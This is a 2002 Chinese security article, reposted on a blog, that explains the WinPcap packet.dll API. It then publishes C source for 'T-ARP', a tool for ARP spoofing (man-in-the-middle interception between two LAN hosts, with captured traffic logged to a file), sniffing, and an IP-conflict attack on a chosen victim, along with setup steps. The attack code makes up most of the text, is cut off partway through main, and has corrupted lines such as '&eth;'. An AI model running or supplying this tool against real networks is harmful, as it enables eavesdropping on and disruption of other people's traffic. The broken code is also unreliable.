備注學院

          LuLu

            BlogJava :: 首頁 :: 新隨筆 :: 聯系 :: 聚合  :: 管理 ::
            5 隨筆 :: 50 文章 :: 16 評論 :: 0 Trackbacks
          創建時間:2002-09-14
          文章屬性:原創
          文章來源:中華安全網
          文章提交:TOo2y (too2y_at_safechina.net)

          詳談調用winpcap驅動寫arp多功能工具

          Author: TOo2y[原創]
          E-mail: TOo2y@safechina.net
          Homepage: www.safechina.net
          Date: 11-9-2002

          一 winpcap驅動簡介
          二 Packet.dll相關數據結構及函數
          三 T-ARP功能及原理介紹
          四 T-ARP主要代碼分析
          五 T-ARP源代碼

          一)winpcap驅動簡介
              winpcap(windows packet capture)是windows平臺下一個免費,公共的網絡訪問系統。開發winpcap這個項目的目的在于為win32應用程序提供訪問網絡底層的能力。它提供了以下的各項功能:
              1> 捕獲原始數據報,包括在共享網絡上各主機發送/接收的以及相互之間交換的數據報;
              2> 在數據報發往應用程序之前,按照自定義的規則將某些特殊的數據報過濾掉;
              3> 在網絡上發送原始的數據報;
              4> 收集網絡通信過程中的統計信息。

              winpcap的主要功能在于獨立于主機協議(如TCP-IP)而發送和接收原始數據報。也就是說,winpcap不能阻塞,過濾或控制其他應用程序數據報的發收,它僅僅只是監聽共享網絡上傳送的數據報。因此,它不能用于QoS調度程序或個人防火墻。

              目前,winpcap開發的主要對象是windows NT/2000/XP,這主要是因為在使用winpcap的用戶中只有一小部分是僅使用windows 95/98/Me,并且M$也已經放棄了對win9x的開發。因此本文相關的程序T-ARP也是面向NT/2000/XP用戶的。其實winpcap中的面向9x系統的概念和NT系統的非常相似,只是在某些實現上有點差異,比如說9x只支持ANSI編碼,而NT系統則提倡使用Unicode編碼。

              本文討論的是packet.dll所提供的各種函數,因為它們完全可以實現本文所希望的各項要求。但是如果你有其他特別的或更高級的要求,winpcap也提供了另一個動態連接庫wpcap.dll。雖然wpcap.dll依靠于packet.dll,但是它卻提供了一種更簡單,直接,有力的方法來更好的利用編程環境。比如捕獲一個數據報,創建一個數據報過濾裝置或將監聽到的數據報轉存到某個文件等,wpcap.dll都會為你提供更加安全的實現方法。

          二)Packet.dll相關數據結構及函數  
              本文的目的之一在于介紹如何利用winpcap驅動寫ARP工具,因此有必要介紹一些相關的數據結構和函數,要不然看著一行行代碼和函數,也許會有些不知所云。

              首先介紹一些相關的數據結構:
                1. typedef struct _ADAPTER  ADAPTER  //描述一個網絡適配器;
                2. typedef struct _PACKET PACKET     //描述一組網絡數據報的結構;
                3. typedef struct NetType NetType    //描述網絡類型的數據結構;
                4. typedef struct npf_if_addr npf_if_addr  //描述一個網絡適配器的ip地址;
                5. struct bpf_hdr   //數據報頭部;
                6. struct bpf_stat  //當前捕獲數據報的統計信息。

              下面,將介紹T-ARP用到的各個函數,他們都是在packet.dll中定義的:
              1>  LPPACKET PacketAllocatePacket(void)
                  如果運行成功,返回一個_PACKET結構的指針,否則返回NULL。成功返回的結果將會傳送到PacketReceivePacket()函數,接收來自驅動的網絡數據報。

              2>  VOID PacketCloseAdapter(LPADAPTER lpAdapter)
                  關閉參數中提供的網絡適配器,釋放相關的ADAPTER結構。

              3>  VOID PacketFreePacket(LPPACKET lpPacket)
                  釋放參數提供的_PACKET結構。

              4>  BOOLEAN PacketGetAdapterNames(LPSTR pStr,PULONG BufferSize)
                  返回可以得到的網絡適配器列表及描述。

              5>  BOOLEAN PacketGetNetInfoEx(LPTSTR AdapterNames,npf_ip_addr *buff, PLONG NEntries)
                  返回某個網絡適配器的全面地址信息。
                  其中npf_ip_addr結構包含:IPAddress,SubnetMask,Broadcast
                  IPAddress: ip地址
                  SubnetMask: 子網掩碼
                  Broadcast: 廣播地址

              6>  BOOLEAN PacketGetNetType(LPADAPTER AdapterObject, NetType *type)
                  返回某個網絡適配器的MAC類型。
                  NetType結構里包含了LinkSpeed(速度)和LinkType(類型)。其中LinkType包含以下幾種情況:
                    NdisMedium802_3: Ethernet(802.3)
                    NdisMediumWan: WAN
                    NdisMedium802_5: Token Ring(802.5)
                    NdisMediumFddi: FDDI
                    NdisMediumAtm: ATM
                    NdisMediumArcnet878_2: ARCNET(878.2)

              7>  BOOLEAN PacketGetStats(LPADAPTER AdapterObject,struct bpf_stat *s)
                  返回幾個關于當前捕獲報告的統計信息。
                  其中bpf_stat結構包含:bs_recv, bs_drop,ps_ifdrop,bs_capt
                    bs_recv: 從網絡適配器開始捕獲數據報開始所接收到的所有數據報的數目,包括丟失的數據報;
                    bs_drop: 丟失的數據報數目。在驅動緩沖區已經滿時,就會發生數據報丟失的情況。

              8>  PCHAR PacketGetVersion()
                  返回關于dll的版本信息。

              9>  VOID PacketInitPacket(LPPACKET lpPacket, PVOID Buffer, UINT Length)
                  初始化一個_PACKET結構。

              10> LPADAPTER PacketOpetAdapter(LPTSTR AdapterName)
                  打開一個網絡適配器。

              11> BOOLEAN PacketReceivePacket(LPADAPTER AdapterObject,LPPACKET lpPacket,BOOLEAN Sync)
                  從NPF驅動程序讀取網絡數據報及統計信息。
                  數據報編碼結構: |bpf_hdr|data|Padding|bpf_hdr|data|Padding|

              12> BOOLEAN PacketSendPacket(LPADAPTER AdapterObject,LPPACKET lpPacket, BOOLEAN Sync)
                  發送一個或多個數據報的副本。

              13> BOOLEAN PacketSetBuff(LPADAPTER AdapterObject,int dim)
                  設置捕獲數據報的內核級緩沖區大小。

              14> BOOLEAN PacketSetHwFilter(LPADAPTER AdapterObject,ULONG Filter)
                  為接收到的數據報設置硬件過濾規則。
                  以下為一些典型的過濾規則:
                    NDIS_PACKET_TYPE_PROMISCUOUS: 設置為混雜模式,接收所有流過的數據報;
                    NDIS_PACKET_TYPE_DIRECTED: 只有目的地為本地主機網絡適配器的數據報才會被接收;
                    NDIS_PACKET_TYPE_BROADCAST: 只有廣播數據報才會被接收;
                    NDIS_PACKET_TYPE_MULTICAST: 只有與本地主機網絡適配器相對應的多播數據報才會被接收;
                    NDIS_PACKET_TYPE_ALL_MULTICAST: 所有多播數據報均被接收;
                    NDIS_PACKET_TYPE_ALL_LOCAL: 所有本地數據報均被接收。

              15> BOOLEAN PacketSetNumWrites(LPADAPTER AdapterObject,int nwrites)
                  設置調用PacketSendPacket()函數發送一個數據報副本所重復的次數。

              16> BOOLEAN PacketSetReadTimeout(LPADAPTER AdapterObject,int timeout)
                  設置在接收到一個數據報后“休息”的時間。
              
              以上就是T-ARP所調用的各個函數,它包含了packet.dll里的大部分函數。如果你想更深層的了解winpcap,請訪問相關網站,主頁地址: http://winpcap.polito.it

          三)T-ARP功能及原理介紹
              準備工作:  
                1. 安裝winpcap驅動,目前最新的版本為winpcap_3.0_alpha, 穩定版本為winpcap_2.3;
                2. 使用ARP欺騙功能前,必須啟動ip路由功能,修改(添加)注冊表選項:
                HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters\IPEnableRouter = 0x1 

              選項:  
                -m  主機掃描,獲得局域網內指定ip段中存活主機的ip地址和mac地址;
                -a  反嗅探掃描,獲得局域網內指定ip段中嗅探主機的ip地址和mac地址;
                -s  ARP欺騙,欺騙局域網內指定的兩臺主機,使其相互發送接收的數據報均通過本地主機;
                    網絡嗅探,如果你選擇欺騙的兩臺主機均是本地主機,那么將會監聽到所有流過本地主機的數據報;
                    IP沖突,如果你選擇欺騙的兩臺主機是同一臺非本地主機,那么就會發起ip沖突攻擊;
                -r  重置被欺騙主機,使被欺騙的兩臺主機恢復正常的工作狀態。

              原理及實現過程:
                無論什么選項,第一件事就是獲得本地主機的mac地址及相關網絡設置。我們以一個特殊的ip地址(112.112.112.112)向本地主機發送一個ARP Request(ARP請求)數據報,當本地主機接收到后,就會發送一個ARP Reply(ARP應答)數據報來回應請求,這樣我們就可以獲得本地主機的mac地址了。至于相關的網絡設置可以通過PacketGetNetInfoEx()和PacketGetNetType()獲得。

                -m  以本地主機的名義(本地主機的ip和mac)向指定ip網段內的所有主機發送廣播(ff:ff:ff:ff:ff:ff)ARP Request數據報,存活的主機就會發送ARP Reply數據報,這樣就可以獲得當前存活主機的列表。因為在很多網關上都對ARP Request做了限制--非內網ip發送的ARP Request數據報不會得到網關的回應,如果你用內網的其他某臺主機的ip來發送ARP Request數據報,如果填寫的mac地址和相應的ip不合,就會出現ip沖突。所以最好還是用自己的ip和mac地址來發送請求。

                -a  以本地主機的名義(本地主機的ip和mac)向指定ip網段內的所有主機發送31位偽廣播地址(ff:ff:ff:ff:ff:fe)的ARP Request數據報,只有正在嗅探的主機才會發送ARP Reply數據報,這樣就可以獲得當前存活主機的列表。嗅探中的win2000系統還會對16位偽廣播地址(ff:ff:00:00:00:00)做出回應;而嗅探中的win95/98/me不僅會回應16位偽廣播地址,而且也會回應8位偽廣播地址(ff:00:00:00:00:00),而*NIX系統對各種廣播地址所做出的反應卻有些不同。在此我們選擇31位偽廣播地址,是因為絕大多數的系統在嗅探時都會對它做出回應。而正常狀況下的各種系統,都不會對31位偽廣播地址做出回應。

                -s (ARP欺騙spoof) 需要強調的是在某些局域網(如以太網)內,數據報的發送與接收是基于硬件地址的,這是我們實現欺騙的基礎。首先獲得指定的兩臺主機(假設為 A 和 B)的mac地址,然后向A發送ARP Reply數據報,其中的源ip地址為B的ip地址,但是源mac地址卻是本地主機的mac地址,這樣主機A就會認為主機B的mac地址是本地主機的mac地址,所以主機A發送到主機B的數據報都發送到本地主機了。同理向主機B發送ARP Reply數據報,通知它主機A的mac地址為本地主機的mac地址。這樣主機A和主機B就會把目的主機的mac地址理解為本地主機的mac地址,于是他們之間相互發送的數據報都首先到達了本地主機,而先前我們已經將本地主機設置了ip路由功能,系統會自動將數據報轉發到真正的目的主機。其間,你就可以監聽它們通信的各種數據報了。

                -s (網絡嗅探sniff) 如果指定的兩個目的主機均為本地主機,那么就只是將網絡適配器設置為混雜模式,這樣就可以監聽到流過本地主機網絡適配器的各種數據。

                -s (ip沖突shock) 如果你選擇欺騙的兩臺主機是同一臺非本地主機(假如是主機C),那么就會不斷地向主機C發送ARP Reply數據報,報文中的源ip地址就是主機C的ip地址,但是源mac地址卻是本地主機的mac地址,因此主機C就會發現有另一臺主機同時擁有和自己相同的ip,這就是ip沖突攻擊。如果是非xp系統,都會跳出一個ip沖突的提示窗口,而xp系統也會有類似的警告。但是請注意,在主機C的系統事件查看器中,會留下本地主機的mac地址與之沖突的惡心記錄,所以你最好不要濫用這個功能。

                -r  在實現了ARP欺騙的情況下,向主機A和B發送ARP Reply數據報,通知主機A(B)注意主機B(A)的mac地址為主機B(A)自己的mac地址,這樣主機A和B就會更新他們的ARP緩存,實現正常的數據通信。
                
          四)T-ARP主要代碼分析
              1> 自定義函數:
                int getmine()    //發送ARP Request數據報,請求獲得本地主機的mac地址;
                void getdata(LPPACKET lp,int op)  //分類處理接收到的數據報;
                DWORD WINAPI sniff(LPVOID no)     //將網絡適配器設置為混雜模式,接收所有流過的數據報;
                DWORD WINAPI sendMASR(LPVOID no)  //發送ARP Request數據報,請求獲得指定ip的mac地址;
                DWORD WINAPI sendSR(LPVOID no)    //發送ARP Reply進行ARP欺騙,或是更新主機的ARP緩存。

              2> 主要代碼分析
                printf("\nLibarary Version: %s",PacketGetVersion());  //輸出dll的版本信息;

                PacketGetAdapterNames((char *)adaptername,&adapterlength)  //獲得本地主機的網絡適配器列表和描述;

                lpadapter=PacketOpenAdapter(adapterlist[open-1]);  //打開指定的網絡適配器;

                PacketGetNetType(lpadapter,&ntype)  //獲得網絡適配器的MAC類型;

                PacketGetNetInfoEx(adapterlist[open-1],&ipbuff,&npflen)  //獲得指定網絡適配器的相關信息;

                rthread=CreateThread(NULL,0,sniff,(LPVOID)&opti,0,&threadrid);  //創建一個新線程來監聽網絡數據報;

                PacketSetHwFilter(lpadapter,NDIS_PACKET_TYPE_PROMISCUOUS)  //將網絡適配器設置為混雜模式,這樣才可以監聽流過本地主機的數據報;
                PacketSetBuff(lpadapter,500*1024)  //自定義網絡適配器的內核緩的大小為 500*1024;

                PacketSetReadTimeout(lpadapter,1)  //設置接收一個數據報后等待的時間為1毫秒;

                PacketReceivePacket(lpadapter,lppacketr,TRUE)  //在設置為混雜模式后,接收所有的數據報;

                sthread=CreateThread(NULL,0,sendMASR,(LPVOID)&opti,0,&threadsid);
                sthread=CreateThread(NULL,0,sendSR,(LPVOID)&opti,0,&threadsid);  //創建一個新線程發送特定的ARP數據報

                PacketSetNumWrites(lpadapter,2)  //在發送一個數據報時,重復發送兩次;

                PacketSendPacket(lpadapter,lppackets,TRUE)  //發送自定義數據報;
                
                WaitForSingleObject(sthread,INFINITE);  //等待發送ARP數據報的線程結束;

                PacketGetStats(lpadapter,&stat)  //獲得網絡適配器的統計信息;

          五) T-ARP源代碼

          #include <packet32.h>
          #include <ntddndis.h>
          #include <stdio.h>
          #include <conio.h>

          #pragma comment(lib,"ws2_32")
          #pragma comment(lib,"packet")

          #define ETH_IP       0x0800
          #define ETH_ARP      0x0806
          #define ARP_REQUEST  0x0001
          #define ARP_REPLY    0x0002
          #define ARP_HARDWARE 0x0001
          #define max_num_adapter  10

          #pragma pack(push,1)

          typedef struct ethdr
          {
              unsigned char   eh_dst[6];
              unsigned char   eh_src[6];
              unsigned short  eh_type;
          }ETHDR,*PETHDR;

          typedef struct arphdr
          {
              unsigned short  arp_hdr;
              unsigned short  arp_pro;
              unsigned char   arp_hln;
              unsigned char   arp_pln;
              unsigned short  arp_opt;
              unsigned char   arp_sha[6];
              unsigned long   arp_spa;
              unsigned char   arp_tha[6];
              unsigned long   arp_tpa;
          }ARPHDR,*PARPHDR;

          typedef struct iphdr
          {
              unsigned char  h_lenver;
              unsigned char  tos;
              unsigned short total_len;
              unsigned short ident;
              unsigned short frag_and_flags;
              unsigned char  ttl;
              unsigned char  proto;
              unsigned short checksum;
              unsigned int   sourceip;
              unsigned int   destip;
          }IPHDR,*PIPHDR;

          #pragma pack(push)

          LPADAPTER lpadapter=0;
          LPPACKET  lppacketr,lppackets;
          ULONG     myip,firstip,secondip;
          UCHAR     mmac[6]={0},fmac[6]={0},smac[6]={0};
          BOOL      mm=FALSE,fm=FALSE,sm=FALSE;
          FILE      *fp;
          char      adapterlist[max_num_adapter][1024];
          char      msg[50];
          int       num=0;

          void start()
          {
              printf("T-ARP --- ARP Tools, by TOo2y(ò1é?), 11-9-2002\n");
              printf("Homepage: www.safechina.net\n");
              printf("E-mail: TOo2y@safechina.net\n");
              return ;
          }

          void usage()
          {
              printf("\nUsage: T-ARP  [-m|-a|-s|-r]  firstip  secondip  \n\n");
              printf("Option:\n");
              printf("   -m  mac        Get the mac address from firstip to secondip\n");
              printf("   -a  antisniff  Get the sniffing host from firstip to secondip\n");
              printf("   -s  spoof      1> Spoof the host between firstip and secondip\n");
              printf("       sniff      2> Sniff if firstip == secondip == your own ip\n");
              printf("       shock      3> Shock if firstip == secondip != your own ip\n");
              printf("   -r  reset      Reset the spoofed host work normally\n\n");
              printf("Attention:\n");
              printf("    1> You must have installed the winpcap_2.3 or winpcap_3.0_alpha\n");
              printf("    2> HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\Tcpip\\Parameters\\IPEnableRouter==0x1\n\n");
              return ;
          }

          int getmine()
          {
              char   sendbuf[1024];
              int    k;
              ETHDR  eth;
              ARPHDR arp;

              for(k=0;k<6;k++)
              {
                  eth.eh_dst[k]=0xff;
                  eth.eh_src[k]=0x82;
                  arp.arp_sha[k]=0x82;
                  arp.arp_tha[k]=0x00;
              }
              eth.eh_type=htons(ETH_ARP);
              arp.arp_hdr=htons(ARP_HARDWARE);
              arp.arp_pro=htons(ETH_IP);
              arp.arp_hln=6;
              arp.arp_pln=4;
              arp.arp_opt=htons(ARP_REQUEST);
              arp.arp_tpa=htonl(myip);
              arp.arp_spa=inet_addr("112.112.112.112");

              memset(sendbuf,0,sizeof(sendbuf));
              memcpy(sendbuf,&eth;,sizeof(eth));
              memcpy(sendbuf+sizeof(eth),&arp,sizeof(arp));

              PacketInitPacket(lppackets,sendbuf,sizeof(eth)+sizeof(arp));
              if(PacketSendPacket(lpadapter,lppackets,TRUE)==FALSE)
              {
                  printf("PacketSendPacket in getmine Error: %d\n",GetLastError());
                  return -1;            
              }
              return 0;
          }

          void getdata(LPPACKET lp,int op)
          {
              ULONG  ulbytesreceived,off,tlen,ulen,ulLines;
              ULONG  j,k;
              ETHDR  *eth;
              ARPHDR *arp;
              PIPHDR ip;
              char   *buf,*pChar,*pLine,*base;
              struct bpf_hdr      *hdr;
              struct sockaddr_in  sin;


              ulbytesreceived=lp->ulBytesReceived;
              buf=(char *)lp->Buffer;

              off=0;
              while(off<ulbytesreceived)
              {
                  if(kbhit())
                  {
                      return ;
                  }
                  hdr=(struct bpf_hdr *)(buf+off);
                  off+=hdr->bh_hdrlen;

                  pChar=(char *)(buf+off);
                  base=pChar;
                  off=Packet_WORDALIGN(off+hdr->bh_caplen);

                  eth=(PETHDR)pChar;                
                  arp=(PARPHDR)(pChar+sizeof(ETHDR));

                  if(eth->eh_type==htons(ETH_IP))
                  {
                              ip=(PIPHDR)(pChar+sizeof(ETHDR));

                      if(fm && sm && (op==3))  
                      {  
                          if((((ip->sourceip!=htonl(myip)) && (ip->destip!=htonl(myip))
                                          && !strcmp((char *)eth->eh_dst,(char *)mmac))
                          && ((ip->sourceip==htonl(firstip)) || (ip->destip==htonl(firstip))
                          || (ip->sourceip==htonl(secondip)) || (ip->destip==htonl(secondip))))
                                          || ((firstip==myip) && (secondip==myip)))
                          {
                              memset(msg,0,sizeof(msg));

                              sin.sin_addr.s_addr=ip->sourceip;                
                              printf("[IP:]%16s ---> [IP:]",inet_ntoa(sin.sin_addr));

                                                  strcpy(msg,inet_ntoa(sin.sin_addr));
                              strcat(msg+15," ---> ");

                              sin.sin_addr.s_addr=ip->destip;
                              printf("%16s\n",inet_ntoa(sin.sin_addr));
                            
                              strcat(msg+23,inet_ntoa(sin.sin_addr));
                              fseek(fp,-2,1);
                              fwrite("\r\n\r\n\r\n",6,1,fp);
                              fwrite(msg,38,1,fp);
                              fwrite("\r\n",2,1,fp);

                              ulLines=(hdr->bh_caplen+15)/16;
                              for(k=0;k<ulLines;k++)
                              {
                                  pLine=pChar;
                                  printf("%08lx : ",pChar-base);

                                  ulen=tlen;
                                  ulen=(ulen>16) ? 16 : ulen;
                                  tlen-=ulen;

                                  for(j=0;j<ulen;j++)
                                      printf("%02x ",*(BYTE *)pChar++);

                                  if(ulen<16)
                                      printf("%*s",(16-ulen)*3," ");

                                  pChar=pLine;

                                  for(j=0;j<ulen;j++,pChar++)
                                  {
                                      printf("%c",isprint(*pChar)? *pChar : '.');
                                      fputc(isprint(*pChar) ? *pChar : '.',fp);
                                  }
                                  printf("\n");
                              }
                              printf("\n");
                                                  fwrite("\r\n",2,1,fp);  
                          }

                      }
                      continue;
                  }
                          else if((eth->eh_type==htons(ETH_ARP)) && (arp->arp_opt==htons(ARP_REPLY)))  
                  {
                      sin.sin_addr.s_addr=arp->arp_spa;

                       if(sin.sin_addr.s_addr==htonl(myip))
                  {
                      memcpy(mmac,eth->eh_src,6);
                  if(!mm)
                       {
                      printf("\t");    
                               for(k=0;k<5;k++)
                                  printf("%.2x-",eth->eh_src[k]);
                            printf("%.2x\n",eth->eh_src[5]);

                              switch(op)
                      {
                              case 1:
                                   printf("\n[MAC LIST:]");
                                  break;
                               case 2:
                                  printf("\n[Sniffing Host:]");    
                                   break;
                                default:                    
                                   break;
                      }
                  }
                      mm=TRUE;
                  }

                       if((op==1) || (op==2))
                      {
                          printf("\n[IP:] %.16s  [MAC:] ",inet_ntoa(sin.sin_addr));
                          for(k=0;k<5;k++)
                              printf("%.2x-",eth->eh_src[k]);
                          printf("%.2x",eth->eh_src[5]);
                  }
                         else if(((op==3) || (op==4)) && (!fm || !sm))
                  {
                          if(arp->arp_spa==htonl(firstip))
                      {
                              memcpy(fmac,eth->eh_src,6);
                              fm=TRUE;
                      }
                          
                      if(arp->arp_spa==htonl(secondip))
                      {
                              memcpy(smac,eth->eh_src,6);
                              sm=TRUE;
                      }
                  }
              }
              }
              return ;
          }
                      
          DWORD WINAPI sniff(LPVOID no)
          {
              int      option=*(int *)no;
              char     recvbuf[1024*250];

              if(PacketSetHwFilter(lpadapter,NDIS_PACKET_TYPE_PROMISCUOUS)==FALSE)
              {
                  printf("Warning: Unable to set the adapter to promiscuous mode\n");
              }

              if(PacketSetBuff(lpadapter,500*1024)==FALSE)
              {
                  printf("PacketSetBuff Error: %d\n",GetLastError());
                  return -1;
              }

              if(PacketSetReadTimeout(lpadapter,1)==FALSE)
              {
                  printf("Warning: Unable to set the timeout\n");
              }

              if((lppacketr=PacketAllocatePacket())==FALSE)
              {
                  printf("PacketAllocatePacket receive Error: %d\n",GetLastError());
                  return -1;
              }

              PacketInitPacket(lppacketr,(char *)recvbuf,sizeof(recvbuf));

              while(!kbhit())
              {
                  if(PacketReceivePacket(lpadapter,lppacketr,TRUE)==FALSE)
                  {
                      if(GetLastError()==6)
                          return 0;
                                  printf("PacketReceivePacket Error: %d\n",GetLastError());
                              return -1;
                  }
                  getdata(lppacketr,option);
              }
              return 0;
          }

          DWORD WINAPI sendMASR(LPVOID no)
          {
              int    fun=*(int *)no;
              int    k,stimes;
                  char   sendbuf[1024];
              ETHDR  eth;
              ARPHDR arp;

              if(fun<1 || fun>4)
              {
                  return -1;
              }
              else
              {
                  for(k=0;k<6;k++)
                  {
                      eth.eh_dst[k]=0xff;
                      arp.arp_tha[k]=0x00;
                  }
                  if(fun==2)
                      eth.eh_dst[5]=0xfe;
              }

              memcpy(eth.eh_src,mmac,6);
              eth.eh_type=htons(ETH_ARP);

              arp.arp_hdr=htons(ARP_HARDWARE);
              arp.arp_pro=htons(ETH_IP);
              arp.arp_hln=6;
              arp.arp_pln=4;
              arp.arp_opt=htons(ARP_REQUEST);
              arp.arp_spa=htonl(myip);
              memcpy(arp.arp_sha,mmac,6);

              if(fun==1 || fun==2)
                  stimes=1;
              else if(fun==3 || fun==4)
                  stimes=2;

              for(k=0;k<stimes;k++)
              {
                  if(stimes==1)
                  {
                      arp.arp_tpa=htonl(firstip+(num++));
                  }
                  else if(stimes==2)
                  {
                      switch(k)
                      {
                      case 0:
                          arp.arp_tpa=htonl(firstip);
                          break;
                      case 1:
                          arp.arp_tpa=htonl(secondip);
                          break;
                      default:
                          break;
                      }
                  }

                  memset(sendbuf,0,sizeof(sendbuf));
                  memcpy(sendbuf,&eth;,sizeof(eth));
                  memcpy(sendbuf+sizeof(eth),&arp,sizeof(arp));

                  PacketInitPacket(lppackets,sendbuf,sizeof(eth)+sizeof(arp));
                  if(PacketSendPacket(lpadapter,lppackets,TRUE)==FALSE)
                  {
                      printf("PacketSendPacket in sendMASR Error: %d\n",GetLastError());
                      return -1;
                  }
              }
              return 0;
          }
                  
          DWORD WINAPI sendSR(LPVOID no)
          {
              int     fun=*(int *)no;
              int     j,k;
              char    sendbuf[1024];
              struct  sockaddr_in  fsin,ssin;
              BOOL    stimes=FALSE;
              ETHDR   eth;
              ARPHDR  arp;

              fsin.sin_addr.s_addr=htonl(firstip);
              ssin.sin_addr.s_addr=htonl(secondip);

              eth.eh_type=htons(ETH_ARP);
              arp.arp_hdr=htons(ARP_HARDWARE);
              arp.arp_pro=htons(ETH_IP);
              arp.arp_hln=6;
              arp.arp_pln=4;
                 arp.arp_opt=htons(ARP_REPLY);      

              if(fun==3)
              {
                  if(mm)
                  {
                      if((firstip==myip) && (secondip==myip))
                      {
                                  fm=TRUE;
                               sm=TRUE;

                          memcpy(fmac,mmac,6);
                          memcpy(smac,mmac,6);
                      }
                      else if(!fm || !sm)
                      {
                          printf("\nNot get enough data\n");
                          return -1;
                      }

                      for(j=0;j<2;j++)
                      {
                          if(j==0)
                          {
                              printf("\nSpoofing %.16s :  ",inet_ntoa(fsin.sin_addr));
                              printf("%.16s ==> ",inet_ntoa(ssin.sin_addr));
                          }
                          else if(j==1)
                          {
                              printf("Spoofing %.16s :  ",inet_ntoa(ssin.sin_addr));
                              printf("%.16s ==> ",inet_ntoa(fsin.sin_addr));
                          }
                                          for(k=0;k<5;k++)
                                  printf("%.2x-",mmac[k]);
                              printf("%.2x\n",mmac[5]);
                      }
                      printf("\ni will try to snoof ...\n\n");
                              stimes=TRUE;
                  }
                  else
                  {
                      printf("\nNot get enough data\n");
                          return -1;
                  }
              }
              else if(fun==4)
              {
                  if(mm)
                  {
                      if((firstip==myip) && (secondip==myip))
                      {
                                  fm=TRUE;
                                  sm=TRUE;

                                   memcpy(fmac,mmac,6);
                                memcpy(smac,mmac,6);
                      }
                      else if(!fm || !sm)
                      {
                                        printf("\nNot get enough data\n");
                                   return -1;
                      }

                      printf("\nReset %.16s :  ",inet_ntoa(fsin.sin_addr));
                      printf("%.16s ==> ",inet_ntoa(ssin.sin_addr));

                                  for(k=0;k<5;k++)
                              printf("%.2x-",smac[k]);
                          printf("%.2x\n",smac[5]);

                      printf("Reset %.16s :  ",inet_ntoa(ssin.sin_addr));
                      printf("%.16s ==> ",inet_ntoa(fsin.sin_addr));

                                  for(k=0;k<5;k++)
                              printf("%.2x-",fmac[k]);
                           printf("%.2x\n\n",fmac[5]);

                              stimes=FALSE;
                  }
                  else
                  {
                      printf("\nNot get enough data\n");
                          return -1;
                  }
              }
              else
                  return -1;

              do
              {
                  memcpy(eth.eh_dst,fmac,6);
                  memcpy(arp.arp_tha,fmac,6);
                  arp.arp_tpa=htonl(firstip);
                  arp.arp_spa=htonl(secondip);

                  if(!stimes)
                  {
                      memcpy(eth.eh_src,smac,6);
                      memcpy(arp.arp_sha,smac,6);
                  }
                  else
                  {
                      memcpy(eth.eh_src,mmac,6);
                      memcpy(arp.arp_sha,mmac,6);
                  }

                  memset(sendbuf,0,sizeof(sendbuf));
                  memcpy(sendbuf,&eth;,sizeof(eth));
                  memcpy(sendbuf+sizeof(eth),&arp,sizeof(arp));

                  PacketInitPacket(lppackets,sendbuf,sizeof(eth)+sizeof(arp));

                      if(PacketSetNumWrites(lpadapter,2)==FALSE)
                  {
                         printf("Warning: Unable to send a packet 2 times\n");
                  }

                  if(PacketSendPacket(lpadapter,lppackets,TRUE)==FALSE)
                  {
                      printf("PacketSendPacket in SendSR Error: %d\n",GetLastError());
                      return -1;
                  }
                  Sleep(1000);  

                  memcpy(eth.eh_dst,smac,6);
                  memcpy(arp.arp_tha,smac,6);
                  arp.arp_tpa=htonl(secondip);
                  arp.arp_spa=htonl(firstip);

                  if(!stimes)
                  {
                      memcpy(eth.eh_src,fmac,6);
                      memcpy(arp.arp_sha,fmac,6);
                  }
                          else    
                  {
                      memcpy(eth.eh_src,mmac,6);
                      memcpy(arp.arp_sha,mmac,6);
                  }


                  memset(sendbuf,0,sizeof(sendbuf));
                  memcpy(sendbuf,&eth;,sizeof(eth));
                  memcpy(sendbuf+sizeof(eth),&arp,sizeof(arp));

                  PacketInitPacket(lppackets,sendbuf,sizeof(eth)+sizeof(arp));
                  if(PacketSendPacket(lpadapter,lppackets,TRUE)==FALSE)
                  {
                      printf("PacketSendPacket int sendSR Error: %d\n",GetLastError());
                      return -1;
                  }
                  Sleep(1000);
              }while(stimes);

              if(fun==4)
                  printf("Reset Successfully");

              return 0;
          }

          int main(int argc,char *argv[])
          {
              HANDLE   sthread,rthread;
              WCHAR    adaptername[8192];
              WCHAR    *name1,*name2;
              ULONG    adapterlength;
              DWORD    threadsid,threadrid;
              struct   NetType      ntype;
              struct   bpf_stat     stat;
              struct   sockaddr_in  sin;
              struct   npf_if_addr  ipbuff;
              int      adapternum=0,opti=0,open,i,total;
              long     npflen;

              system("cls.exe");
              start();

              if(argc!=4)
              {
                  usage();
                  getche();
                  return -1;
              }
              else
              {
                  if(!strcmp(argv[1],"-m"))
                  {
                      opti=1;
                  }
                  else if(!strcmp(argv[1],"-a"))
                  {
                      opti=2;
                  }
                  else if(!strcmp(argv[1],"-s"))
                  {
                       opti=3;

                       if((fp=fopen("capture.txt","w+"))==NULL)
                  {
                          printf("Open capture.txt Error: %d\n");
                              return -1;
                  }
                          else
                  {
                                  fwrite("T-ARP Captrue Data",20,1,fp);
                  }
                  }
                  else if(!strcmp(argv[1],"-r"))
                  {
                      opti=4;
                  }
                  else
                  {
                      usage();
                      getche();
                      return -1;
                  }
              }


              firstip=ntohl(inet_addr(argv[2]));
              secondip=ntohl(inet_addr(argv[3]));
              total=secondip-firstip+1;

              printf("\nLibarary Version: %s",PacketGetVersion());

              adapterlength=sizeof(adaptername);

              if(PacketGetAdapterNames((char *)adaptername,&adapterlength)==FALSE)
              {
                  printf("PacketGetAdapterNames Error: %d\n",GetLastError());
                  return -1;
              }
              
              name1=adaptername;
              name2=adaptername;
              i=0;

              while((*name1!='\0') || (*(name1-1)!='\0'))
              {
                  if(*name1=='\0')
                  {
                      memcpy(adapterlist[i],name2,2*(name1-name2));
                      name2=name1+1;
                      i++;
                  }
                  name1++;
              }

              adapternum=i;
              printf("\nAdapters Installed:\n");
              for(i=0;i<adapternum;i++)
                  wprintf(L"%d - %s\n",i+1,adapterlist[i]);

              do
              {
                  printf("\nSelect the number of the adapter to open: ");
                  scanf("%d",&open);
                  if(open>=1 && open<=adapternum)
                      break;        
              }while(open<1 || open>adapternum);

              lpadapter=PacketOpenAdapter(adapterlist[open-1]);

              if(!lpadapter || (lpadapter->hFile==INVALID_HANDLE_VALUE))
              {
                  printf("PacketOpenAdapter Error: %d\n",GetLastError());
                  return -1;
              }

              if(PacketGetNetType(lpadapter,&ntype))
              {
                  printf("\n\t\t*** Host Information ***\n");
                  printf("[LinkTpye:]\t%d\t\t",ntype.LinkType);    
                  printf("[LinkSpeed:]\t%d b/s\n",ntype.LinkSpeed);
              }

              npflen=sizeof(ipbuff);  
